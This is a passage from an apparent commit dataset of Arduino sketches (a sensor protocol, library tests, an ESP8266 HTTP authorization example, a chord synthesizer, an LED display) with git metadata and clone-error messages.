https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jordane-quincy\/projet_m1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4e5e14b86a10d2ef04d0948296484716825e92ec","subject":"add sensor file","message":"add sensor file\n","repos":"SkyZH\/EnvSensor,SkyZH\/EnvSensor","old_file":"EnvSensor.ino","new_file":"EnvSensor.ino","new_contents":"#include <DHT.h>\n\n#define DHTTYPE DHT22\n#define DHTPIN 7\n\n#define DATA_CMD_TEMPERATURE 97\n#define DATA_CMD_PM 65\n#define DATA_CMD_DEBUG 66\n#define DATA_CMD_FAILED 98\n\n#define PACK_HEADER_LENGTH 2\n#define PACK_DHT_LENGTH 20\n#define PACK_RAW_LENGTH 20\n\ntypedef unsigned char CMD;\ntypedef unsigned char SIZE;\n\nDHT dht(DHTPIN, DHTTYPE);\n\nstruct Header {\n CMD cmd;\n SIZE sz;\n} Header;\n\nunion HeaderPack {\n unsigned char pack[PACK_HEADER_LENGTH];\n struct Header data;\n} HeaderPack;\n\nstruct DHTData {\n float h, t, f, hif, hic;\n} DHTData;\n\nunion DHTPack {\n unsigned char pack[PACK_DHT_LENGTH];\n struct DHTData data;\n} DHTPack;\n\nstruct RawPack {\n unsigned char pack[PACK_RAW_LENGTH];\n} RawPack;\n\nvoid setup()\n{\n Serial.begin(115200);\n dht.begin();\n}\n\nint getDHTData(struct DHTData *data) {\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n \/\/ Read temperature as Fahrenheit (isFahrenheit = true)\n float f = dht.readTemperature(true);\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) || isnan(f)) {\n return 0;\n }\n\n \/\/ Compute heat index in Fahrenheit (the default)\n float hif = dht.computeHeatIndex(f, h);\n \/\/ Compute heat index in Celsius (isFahreheit = false)\n float hic = dht.computeHeatIndex(t, h, false);\n\n data->h = h; data->t = t; data->f = f; data->hif = hif; data->hic = hic;\n return 1;\n}\n\nint readCommand(HardwareSerial *serial) {\n if (serial->available() > 0) {\n return serial->read();\n }\n return 0;\n}\n\nvoid getHeader(struct Header* header, CMD cmd, SIZE sz) {\n header->cmd = cmd;\n header->sz = sz;\n}\n\nint writeCommand(HardwareSerial *serial, CMD cmd, SIZE sz, char* data) {\n union HeaderPack headerPack;\n getHeader(&headerPack.data, cmd, sz);\n \n serial->write(headerPack.pack, PACK_HEADER_LENGTH);\n serial->write(data, sz);\n}\n\nvoid loop() {\n union DHTPack dhtPack;\n struct RawPack rawPack;\n \n CMD cmd = 0;\n \n while(1) {\n while(!(cmd = readCommand(&Serial)));\n \n if(cmd == DATA_CMD_TEMPERATURE) {\n if(getDHTData(&dhtPack.data)) {\n writeCommand(&Serial, cmd, PACK_DHT_LENGTH, ((char*)dhtPack.pack));\n } else {\n writeCommand(&Serial, DATA_CMD_FAILED, PACK_RAW_LENGTH, ((char*)rawPack.pack));\n }\n } else if(cmd == DATA_CMD_DEBUG) {\n writeCommand(&Serial, DATA_CMD_DEBUG, PACK_RAW_LENGTH, ((char*)rawPack.pack));\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EnvSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b11881bc19a0f3a0a1fdef94e37196950ecfe79b","subject":"Many changes","message":"Many changes\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"wbox2.ino","new_file":"wbox2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5e3df0827313175f082787af57c5b7293b26076c","subject":"Add tests for sqrt, fmod (#612) and floating point printf\/scanf (#1179)","message":"Add tests for sqrt, fmod (#612) and floating point printf\/scanf (#1179)\n","repos":"wemos\/Arduino,hallard\/Arduino,toastedcode\/esp8266-Arduino,gguuss\/Arduino,sticilface\/Arduino,esp8266\/Arduino,quertenmont\/Arduino,Lan-Hekary\/Arduino,martinayotte\/ESP8266-Arduino,hallard\/Arduino,martinayotte\/ESP8266-Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,gguuss\/Arduino,sticilface\/Arduino,quertenmont\/Arduino,wemos\/Arduino,esp8266\/Arduino,martinayotte\/ESP8266-Arduino,jes\/Arduino,jes\/Arduino,Juppit\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,wemos\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,jes\/Arduino,wemos\/Arduino,quertenmont\/Arduino,quertenmont\/Arduino,Adam5Wu\/Arduino,me-no-dev\/Arduino,Juppit\/Arduino,Adam5Wu\/Arduino,jes\/Arduino,me-no-dev\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,jes\/Arduino,esp8266\/Arduino,esp8266\/Arduino,toastedcode\/esp8266-Arduino,Juppit\/Arduino,Adam5Wu\/Arduino,wemos\/Arduino,sticilface\/Arduino,sticilface\/Arduino,quertenmont\/Arduino,Juppit\/Arduino,hallard\/Arduino,toastedcode\/esp8266-Arduino,gguuss\/Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,Juppit\/Arduino,me-no-dev\/Arduino,gguuss\/Arduino,hallard\/Arduino,Adam5Wu\/Arduino,gguuss\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,toastedcode\/esp8266-Arduino,Lan-Hekary\/Arduino,hallard\/Arduino,Lan-Hekary\/Arduino,sticilface\/Arduino","old_file":"tests\/device\/test_newlib\/test_newlib.ino","new_file":"tests\/device\/test_newlib\/test_newlib.ino","new_contents":"#include <BSTest.h>\nBS_ENV_DECLARE();\n\n\nvoid setup()\n{\n Serial.begin(115200);\n BS_RUN(Serial);\n}\n\nTEST_CASE(\"Floating point formatting works\", \"[newlib]\")\n{\n char buf[16];\n const float val = 0.02300;\n snprintf(buf, sizeof(buf), \"%.05f\", val);\n CHECK(String(buf) == \"0.02300\");\n float res;\n sscanf(buf, \"%f\", &res);\n CHECK(res == val);\n}\n\nTEST_CASE(\"#612 fmod and sqrt work\", \"[newlib]\")\n{\n\tCHECK(fabs(fmod(2.0, 1.5) - 0.5) < 1e-6);\n\tCHECK(fabs(fmod(-10, -3) - (-1.0)) < 1e-5);\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/device\/test_newlib\/test_newlib.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a00f54c3da7e70e00cee83453b6dc2e885aa76be","subject":"update","message":"update\n","repos":"fieldsciencerobotics\/flag_indicators,fieldsciencerobotics\/flag_indicators,fieldsciencerobotics\/indicator-flags,fieldsciencerobotics\/indicator-flags","old_file":"regtable.ino","new_file":"regtable.ino","new_contents":"\/*\nThe MIT License (MIT)\n\nCopyright (c) 2016 Field Science Robotics\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include \"product.h\"\n#include \"regtable.h\"\n#include \"byteops.h\"\n\n\/**\n * Define common registers\n *\/\n \nDEFINE_COMMON_REGISTERS()\n\n\n\/\/Define custom registers\nstatic byte dt_raise_flag[2];\nREGISTER reg_raise_flag(dt_raise_flag, sizeof(dt_raise_flag), NULL, &set_raise_flag);\n\nstatic byte dt_lower_flag[2];\nREGISTER reg_lower_flag(dt_lower_flag, sizeof(dt_lower_flag), NULL, &set_lower_flag);\n \n\n\/**\n * Table of registers\n *\/\n \nDECLARE_REGISTERS_START()\n ®_raise_flag, \/\/ 11\n ®_lower_flag \/\/ 12\nDECLARE_REGISTERS_END()\n\n\n\/**\n * Define common getter\/setter callback functions\n *\/\n \nDEFINE_COMMON_CALLBACKS()\n\n\n\/**\n * Define custom getter\/setter callback functions\n *\/\n\nconst void set_raise_flag(byte rId, byte *value)\n{\n memcpy(regTable[rId]->value, value, sizeof(regTable[rId]->value));\n int servo_index;\n reg_to_int(regTable[rId], servo_index);\n\n if(servo_index < pin_map_len && servo_index >= 0)\n { \n int servo_pin = pin_map[servo_index];\n flag.attach(servo_pin);\n flag.raise(3.0);\n }\n}\n\n\nconst void set_lower_flag(byte rId, byte *value)\n{ \n memcpy(regTable[rId]->value, value, sizeof(regTable[rId]->value));\n int servo_index;\n reg_to_int(regTable[rId], servo_index);\n\n if(servo_index < pin_map_len && servo_index >= 0)\n { \n int servo_pin = pin_map[servo_index];\n flag.attach(servo_pin);\n flag.lower(3.0);\n }\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'regtable.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15d18664874347aa492dadd0ef744671a87ae66b","subject":"basic send mechanic","message":"basic send mechanic\n","repos":"VipeOut23\/Arduino_com","old_file":"Arduino_com.ino","new_file":"Arduino_com.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VipeOut23\/Arduino_com.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0a4da83243bdbcc30cd36639765ca966d7aeb268","subject":"HTTPClient add Authorization example","message":"HTTPClient add Authorization example\n","repos":"me-no-dev\/Arduino,Lan-Hekary\/Arduino,lrmoreno007\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,hallard\/Arduino,sticilface\/Arduino,sticilface\/Arduino,edog1973\/Arduino,Links2004\/Arduino,Adam5Wu\/Arduino,toastedcode\/esp8266-Arduino,edog1973\/Arduino,wemos\/Arduino,NextDevBoard\/Arduino,edog1973\/Arduino,sticilface\/Arduino,hallard\/Arduino,jes\/Arduino,hallard\/Arduino,Adam5Wu\/Arduino,toastedcode\/esp8266-Arduino,KaloNK\/Arduino,Links2004\/Arduino,quertenmont\/Arduino,Links2004\/Arduino,Adam5Wu\/Arduino,Links2004\/Arduino,gguuss\/Arduino,gguuss\/Arduino,Juppit\/Arduino,me-no-dev\/Arduino,NullMedia\/Arduino,esp8266\/Arduino,gguuss\/Arduino,Lan-Hekary\/Arduino,lrmoreno007\/Arduino,Juppit\/Arduino,jes\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,lrmoreno007\/Arduino,NullMedia\/Arduino,quertenmont\/Arduino,Links2004\/Arduino,lrmoreno007\/Arduino,esp8266\/Arduino,hallard\/Arduino,lrmoreno007\/Arduino,martinayotte\/ESP8266-Arduino,me-no-dev\/Arduino,martinayotte\/ESP8266-Arduino,edog1973\/Arduino,gguuss\/Arduino,esp8266\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,gguuss\/Arduino,jes\/Arduino,NullMedia\/Arduino,NextDevBoard\/Arduino,Juppit\/Arduino,hallard\/Arduino,NullMedia\/Arduino,Lan-Hekary\/Arduino,me-no-dev\/Arduino,wemos\/Arduino,wemos\/Arduino,jes\/Arduino,NextDevBoard\/Arduino,martinayotte\/ESP8266-Arduino,NextDevBoard\/Arduino,edog1973\/Arduino,toastedcode\/esp8266-Arduino,quertenmont\/Arduino,Juppit\/Arduino,NextDevBoard\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,Juppit\/Arduino,quertenmont\/Arduino,wemos\/Arduino,sticilface\/Arduino,KaloNK\/Arduino,Lan-Hekary\/Arduino,toastedcode\/esp8266-Arduino,esp8266\/Arduino,Adam5Wu\/Arduino,toastedcode\/esp8266-Arduino,quertenmont\/Arduino,jes\/Arduino,esp8266\/Arduino,wemos\/Arduino,NullMedia\/Arduino,KaloNK\/Arduino","old_file":"libraries\/ESP8266HTTPClient\/examples\/Authorization\/Authorization.ino","new_file":"libraries\/ESP8266HTTPClient\/examples\/Authorization\/Authorization.ino","new_contents":"\/**\n * Authorization.ino\n *\n * Created on: 09.12.2015\n *\n *\/\n\n#include <Arduino.h>\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n\n#include <ESP8266HTTPClient.h>\n\n#define USE_SERIAL Serial\n\nESP8266WiFiMulti WiFiMulti;\n\nvoid setup() {\n\n USE_SERIAL.begin(115200);\n \/\/ USE_SERIAL.setDebugOutput(true);\n\n USE_SERIAL.println();\n USE_SERIAL.println();\n USE_SERIAL.println();\n\n for(uint8_t t = 4; t > 0; t--) {\n USE_SERIAL.printf(\"[SETUP] WAIT %d...\\n\", t);\n USE_SERIAL.flush();\n delay(1000);\n }\n\n WiFiMulti.addAP(\"SSID\", \"PASSWORD\");\n\n}\n\nvoid loop() {\n \/\/ wait for WiFi connection\n if((WiFiMulti.run() == WL_CONNECTED)) {\n\n HTTPClient http;\n\n USE_SERIAL.print(\"[HTTP] begin...\\n\");\n \/\/ configure traged server and url\n\n\n http.begin(\"http:\/\/user:password@192.168.1.12\/test.html\");\n\n \/*\n \/\/ or\n http.begin(\"http:\/\/192.168.1.12\/test.html\");\n http.setAuthorization(\"user\", \"password\");\n\n \/\/ or\n http.begin(\"http:\/\/192.168.1.12\/test.html\");\n http.setAuthorization(\"dXNlcjpwYXN3b3Jk\");\n *\/\n\n\n USE_SERIAL.print(\"[HTTP] GET...\\n\");\n \/\/ start connection and send HTTP header\n int httpCode = http.GET();\n\n \/\/ httpCode will be negative on error\n if(httpCode) {\n \/\/ HTTP header has been send and Server response header has been handled\n USE_SERIAL.printf(\"[HTTP] GET... code: %d\\n\", httpCode);\n\n \/\/ file found at server\n if(httpCode == HTTP_CODE_OK) {\n String payload = http.getString();\n USE_SERIAL.println(payload);\n }\n } else {\n USE_SERIAL.printf(\"[HTTP] GET... failed, error: %s\\n\", http.errorToString(httpCode).c_str());\n }\n\n http.end();\n }\n\n delay(10000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266HTTPClient\/examples\/Authorization\/Authorization.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"2f4e03489a06284dc4b3ee8ec1bba364b23600af","subject":"update","message":"update\n","repos":"coshkun\/Arduino,coshkun\/Arduino,coshkun\/Arduino","old_file":"ISMK.77257.Lectures\/simple-circuits\/W03T01.POT.Value-Reading.Over.Serial.Monitor\/W03T01.POT.Value-Reading.Over.Serial.Monitor.ino","new_file":"ISMK.77257.Lectures\/simple-circuits\/W03T01.POT.Value-Reading.Over.Serial.Monitor\/W03T01.POT.Value-Reading.Over.Serial.Monitor.ino","new_contents":"\/*\n * ISM.77257.Lectures\n * @author: coskun\n * \n * W03T01.Simple-Circutis.POT.Value-Reading.Over.Serial.Monitor\n * https:\/\/circuits.io\/circuits\/4270259-w02t05-rgb-control-over-serial-monitor\n * \n * Bu projede serial monit\u00f6r.den kulan\u0131c\u0131n\u0131n ayarlad\u0131\u011f\u0131 pot\n * \u00fczerinden voltaj seviyesi okunarak SM.den c\u0131kt\u0131 al\u0131n\u0131r.\n * \n * Not: Bu test.te simulator ar\u0131zas\u0131 y\u00fcz\u00fcnden fiziksel devre \n * kulland\u0131k. \n *\/\nint val = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\nSerial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\nval = analogRead(A0);\nSerial.println(\"Potun de\u011feri: \");\nSerial.print(String(val* 10\/1024));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ISMK.77257.Lectures\/simple-circuits\/W03T01.POT.Value-Reading.Over.Serial.Monitor\/W03T01.POT.Value-Reading.Over.Serial.Monitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"76eb17627b6ecf197b4faa216023b9e150c7971c","subject":"initial commit","message":"initial commit\n","repos":"nbogie\/TeensyChordPlayer","old_file":"TeensyChordPlayer.ino","new_file":"TeensyChordPlayer.ino","new_contents":"#include <Audio.h>\n#include <SD.h>\n#include <SPI.h>\n#include <SerialFlash.h>\n#include <Wire.h>\n#include <synth_simple_drum.h>\n\n\/\/A simple chord player for teensy + audio which allows \n\/\/ selection of the most common chords in pop \n\/\/ (e.g. I, ii, IV, V, vi) with some decorations.\n\n\/\/ GUItool: begin automatically generated code\nAudioSynthSimpleDrum drum2; \/\/xy=58,80\nAudioSynthSimpleDrum drum4; \/\/xy=62,161\nAudioSynthSimpleDrum drum3; \/\/xy=78,124\nAudioSynthSimpleDrum drum1; \/\/xy=90,33\nAudioSynthKarplusStrong string4; \/\/xy=142,440\nAudioSynthKarplusStrong string2; \/\/xy=144,367\nAudioSynthKarplusStrong string3; \/\/xy=144,404\nAudioSynthKarplusStrong string1; \/\/xy=150,330\nAudioSynthKarplusStrong string5; \/\/xy=208,523\nAudioSynthKarplusStrong string6; \/\/xy=209,561\nAudioMixer4 mixerDrums; \/\/xy=392,141\nAudioMixer4 mixerStrings1; \/\/xy=409,237\nAudioMixer4 mixerStrings2; \/\/xy=426,331\nAudioMixer4 mixerFinal; \/\/xy=592,142\nAudioOutputI2S i2s1; \/\/xy=716,59\nAudioConnection patchCord1(drum2, 0, mixerDrums, 1);\nAudioConnection patchCord2(drum4, 0, mixerDrums, 3);\nAudioConnection patchCord3(drum3, 0, mixerDrums, 2);\nAudioConnection patchCord4(drum1, 0, mixerDrums, 0);\nAudioConnection patchCord5(string4, 0, mixerStrings1, 1);\nAudioConnection patchCord6(string2, 0, mixerStrings1, 2);\nAudioConnection patchCord7(string3, 0, mixerStrings1, 3);\nAudioConnection patchCord8(string1, 0, mixerStrings1, 0);\nAudioConnection patchCord9(string5, 0, mixerStrings2, 0);\nAudioConnection patchCord10(string6, 0, mixerStrings2, 1);\nAudioConnection patchCord11(mixerDrums, 0, mixerFinal, 0);\nAudioConnection patchCord12(mixerStrings1, 0, mixerFinal, 1);\nAudioConnection patchCord13(mixerStrings2, 0, mixerFinal, 2);\nAudioConnection patchCord14(mixerFinal, 0, i2s1, 0);\nAudioConnection patchCord15(mixerFinal, 0, i2s1, 1);\nAudioControlSGTL5000 sgtl5000_1; \/\/xy=637,447\n\/\/ GUItool: end automatically generated code\n\n\nAudioSynthKarplusStrong *strings [] = { &string1, &string2, &string3, &string4, &string5, &string6 };\n\nint major7[6] = {48, 59, 64, 67, 71, 76};\nint minor7[6] = {48, 58, 63, 67, 70, 72};\nint dominant7[6] = {48, 58, 64, 67, 70, 76};\nint major[6] = {48, 55, 60, 64, 67, 76};\nint major6[6] = {48, 55, 60, 64, 67, 69};\nint sus4[6] = {48, 55, 60, 65, 67, 76};\nint sus2[6] = {48, 55, 62, 64, 67, 76};\nint dominant[6] = {48, 55, 60, 64, 67, 76};\nint diminished[6] = {48, 54, 60, 63, 66, 72};\nint minor[6] = {48, 55, 60, 63, 67, 75};\n\n\n\/\/int chords[7] = { &major7, &minor7, &minor7, &major7, &dominant7, &minor7, &minor7 };\nint offsets[7] = {0, 2, 4, 5, 7, 9, 11};\n\nbool buttonStates[4] = {false, false, false, false};\n\nconst float tune_frequencies2_PGM[128] =\n{\n 8.1758, 8.6620, 9.1770, 9.7227, 10.3009, 10.9134, 11.5623, 12.2499,\n 12.9783, 13.7500, 14.5676, 15.4339, 16.3516, 17.3239, 18.3540, 19.4454,\n 20.6017, 21.8268, 23.1247, 24.4997, 25.9565, 27.5000, 29.1352, 30.8677,\n 32.7032, 34.6478, 36.7081, 38.8909, 41.2034, 43.6535, 46.2493, 48.9994,\n 51.9131, 55.0000, 58.2705, 61.7354, 65.4064, 69.2957, 73.4162, 77.7817,\n 82.4069, 87.3071, 92.4986, 97.9989, 103.8262, 110.0000, 116.5409, 123.4708,\n 130.8128, 138.5913, 146.8324, 155.5635, 164.8138, 174.6141, 184.9972, 195.9977,\n 207.6523, 220.0000, 233.0819, 246.9417, 261.6256, 277.1826, 293.6648, 311.1270,\n 329.6276, 349.2282, 369.9944, 391.9954, 415.3047, 440.0000, 466.1638, 493.8833,\n 523.2511, 554.3653, 587.3295, 622.2540, 659.2551, 698.4565, 739.9888, 783.9909,\n 830.6094, 880.0000, 932.3275, 987.7666, 1046.5023, 1108.7305, 1174.6591, 1244.5079,\n 1318.5102, 1396.9129, 1479.9777, 1567.9817, 1661.2188, 1760.0000, 1864.6550, 1975.5332,\n 2093.0045, 2217.4610, 2349.3181, 2489.0159, 2637.0205, 2793.8259, 2959.9554, 3135.9635,\n 3322.4376, 3520.0000, 3729.3101, 3951.0664, 4186.0090, 4434.9221, 4698.6363, 4978.0317,\n 5274.0409, 5587.6517, 5919.9108, 6271.9270, 6644.8752, 7040.0000, 7458.6202, 7902.1328,\n 8372.0181, 8869.8442, 9397.2726, 9956.0635, 10548.0818, 11175.3034, 11839.8215, 12543.8540\n};\n\n\n\nstatic uint32_t next;\n\nvoid strumOff() {\n for (int i = 0; i < 6; i++) {\n strings[i] -> noteOff(random(0,100) \/ 100.0);\n }\n}\n\n\nvoid strum() {\n int* chord = major;\n int root = 0;\n int keyAnalog = analogRead(1);\n int keyOffset = 0;\n \n if (keyAnalog > 900) {\n keyOffset = 5; \n } else if (keyAnalog > 800) {\n keyOffset = 4; \n } else if (keyAnalog > 700) {\n keyOffset = 3; \n } else if (keyAnalog > 600) {\n keyOffset = 2;\n } else if (keyAnalog > 500) {\n keyOffset = 1; \n } else if (keyAnalog > 400) {\n keyOffset = 0; \n } else if (keyAnalog > 300) {\n keyOffset = -1; \n } else if (keyAnalog > 200) {\n keyOffset = -2; \n } else if (keyAnalog > 100) {\n keyOffset = -3; \n } else {\n keyOffset = -4;\n }\n \n if (buttonStates[0] && buttonStates[1]) {\n root = 0;\n chord = sus2;\n } else if (buttonStates[0] && buttonStates[2] && buttonStates[3]) {\n root = 0;\n chord = dominant7;\n } else if (buttonStates[0] && buttonStates[3]) {\n root = 0;\n chord = major7;\n } else if (buttonStates[0] && buttonStates[2]) {\n root = 0;\n chord = sus4;\n } else if (buttonStates[0]) {\n root = 0; \n chord = major; \n } else if (buttonStates[1] && buttonStates[2]) {\n chord = minor7;\n root = -10;\n } else if (buttonStates[1] && buttonStates[3]) {\n chord = minor;\n root = -7;\n } else if (buttonStates[1]) {\n chord = major;\n root = -7;\n } else if (buttonStates[2] && buttonStates[3]) {\n chord = diminished;\n root = -4;\n } else if (buttonStates[2]) {\n chord = dominant;\n root = -5;\n } else if (buttonStates[3]) {\n chord = minor;\n root = -3;\n } else {\n chord = NULL;\n root = 0;\n }\n\n int delayAnalog = analogRead(0);\n int delayAmt = map(delayAnalog, 0,1023, 0, 50);\n if (chord != NULL) {\n for (int i = 0; i < 6; i++) {\n strings[i] -> noteOn(tune_frequencies2_PGM[keyOffset + root + chord[i]], random(20, 40) \/ 100.0);\n delay(delayAmt);\n }\n }\n}\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n Serial.begin(115200);\n for(int i=3; i < 7; i++) {\n pinMode(i, INPUT_PULLUP);\n }\n\n \/\/ audio library init\n AudioMemory(20);\n\n next = millis() + 1000;\n\n AudioNoInterrupts();\n\n drum1.frequency(60);\n drum1.length(1500);\n drum1.secondMix(0.0);\n drum1.pitchMod(0.55);\n\n drum2.frequency(60);\n drum2.length(300);\n drum2.secondMix(0.0);\n drum2.pitchMod(1.0);\n\n drum3.frequency(60);\n drum3.length(1500);\n drum3.secondMix(0.0);\n drum3.pitchMod(0.60);\n\n drum4.frequency(600);\n drum4.length(150);\n drum4.secondMix(0.0);\n drum4.pitchMod(0.0);\n\n sgtl5000_1.enable();\n sgtl5000_1.volume(0.5);\n\n AudioInterrupts();\n\n}\nvoid showButtonStates() {\n Serial.print(\"buttons \");\n Serial.print(buttonStates[0]);\n Serial.print(buttonStates[1]);\n Serial.print(buttonStates[2]);\n Serial.println(buttonStates[3]);\n}\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n static uint32_t num = 0;\n\n if (millis() == next)\n {\n for(int bn = 0; bn < 4; bn++){\n buttonStates[bn] = digitalRead(3+bn)==LOW;\n }\n \/\/showButtonStates();\n int waitTime = map(analogRead(2), 0, 1023, 300, 700);\n next = millis() + waitTime;\n switch (num % 4)\n {\n case 0:\n \/\/drum1.noteOn();\n \/\/strumOff();\n break;\n case 1:\n \/\/drum2.noteOn();\n strum();\n break;\n case 2:\n \/\/drum1.noteOn();\n \/\/strumOff();\n break;\n case 3:\n \/\/drum2.frequency(random(54, 65));\n \/\/drum2.noteOn();\n strum();\n break;\n }\n num++;\n\n Serial.print(\"Diagnostics (Audio CPU and Audio Mem max usages: \");\n Serial.print(AudioProcessorUsageMax());\n Serial.print(\" \");\n Serial.println(AudioMemoryUsageMax());\n AudioProcessorUsageMaxReset();\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TeensyChordPlayer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0d7b8c16393d2a43c5aabea3fca5195adfbf5c07","subject":"added old code for the three rail display","message":"added old code for the three rail display\n","repos":"Spruill1\/Bblr,Spruill1\/Bblr","old_file":"ThreeRail.ino","new_file":"ThreeRail.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n#define railA 2\n#define railB 3\n#define railC 4\n#define layers 5\n#define pixelDuration 8\n#define pixelPitch 450\n\nString show = \"ECE459\";\n\nboolean repeat = 0;\nboolean first = 1;\nint currentIndex = 0;\nint currentLayer = 0;\n\n \nboolean alphabet[26][5][3] = {{{1,1,1},{1,0,1},{1,1,1},{1,0,1},{1,0,1}}, \/\/A\n {{1,1,1},{1,0,1},{1,1,0},{1,0,1},{1,1,1}}, \/\/B\n {{1,1,1},{1,0,0},{1,0,0},{1,0,0},{1,1,1}}, \/\/C\n {{1,1,0},{1,0,1},{1,0,1},{1,0,1},{1,1,0}}, \/\/D\n {{1,1,1},{1,0,0},{1,1,0},{1,0,0},{1,1,1}}, \/\/E\n {{1,1,1},{1,0,0},{1,1,0},{1,0,0},{1,0,0}}, \/\/F\n {{1,1,1},{1,0,0},{1,1,1},{1,0,1},{1,1,1}}, \/\/G ~ looks funny\n {{1,0,1},{1,0,1},{1,1,1},{1,0,1},{1,0,1}}, \/\/H\n {{1,1,1},{0,1,0},{0,1,0},{0,1,0},{1,1,1}}, \/\/I\n {{1,1,1},{0,1,0},{0,1,0},{1,1,0},{1,1,0}}, \/\/J\n {{1,0,1},{1,1,0},{1,0,0},{1,1,0},{1,0,1}}, \/\/K\n {{1,0,0},{1,0,0},{1,0,0},{1,0,0},{1,1,1}}, \/\/L\n {{1,0,1},{1,1,1},{1,0,1},{1,0,1},{1,0,1}}, \/\/M\n {{1,0,1},{1,1,1},{1,1,1},{1,1,1},{1,0,1}}, \/\/N\n {{1,1,1},{1,0,1},{1,0,1},{1,0,1},{1,1,1}}, \/\/O\n {{1,1,0},{1,0,1},{1,1,0},{1,0,0},{1,0,0}}, \/\/P\n {{1,1,1},{1,0,1},{1,0,1},{1,1,1},{1,1,1}}, \/\/Q ~ good be better\n {{1,1,1},{1,0,1},{1,1,0},{1,0,1},{1,0,1}}, \/\/R\n {{1,1,1},{1,0,0},{1,1,1},{0,0,1},{1,1,1}}, \/\/S\n {{1,1,1},{0,1,0},{0,1,0},{0,1,0},{0,1,0}}, \/\/T\n {{1,0,1},{1,0,1},{1,0,1},{1,0,1},{1,1,1}}, \/\/U\n {{1,0,1},{1,0,1},{1,0,1},{0,1,0},{0,1,0}}, \/\/V\n {{1,0,1},{1,0,1},{1,0,1},{1,1,1},{1,0,1}}, \/\/W\n {{1,0,1},{1,0,1},{1,0,1},{1,1,1},{1,1,1}}, \/\/X\n {{1,1,1},{1,0,1},{1,1,0},{1,0,1},{1,1,1}}, \/\/Y\n {{1,1,1},{1,0,1},{1,1,0},{1,0,1},{1,1,1}}}; \/\/Z\n \nboolean numbers[10][5][3] = {{{0,1,0},{1,0,1},{1,0,1},{1,0,1},{0,1,0}}, \/\/0\n {{0,1,0},{1,1,0},{0,1,0},{0,1,0},{1,1,1}}, \/\/1\n {{1,1,0},{0,0,1},{0,1,0},{1,0,0},{1,1,1}}, \/\/2\n 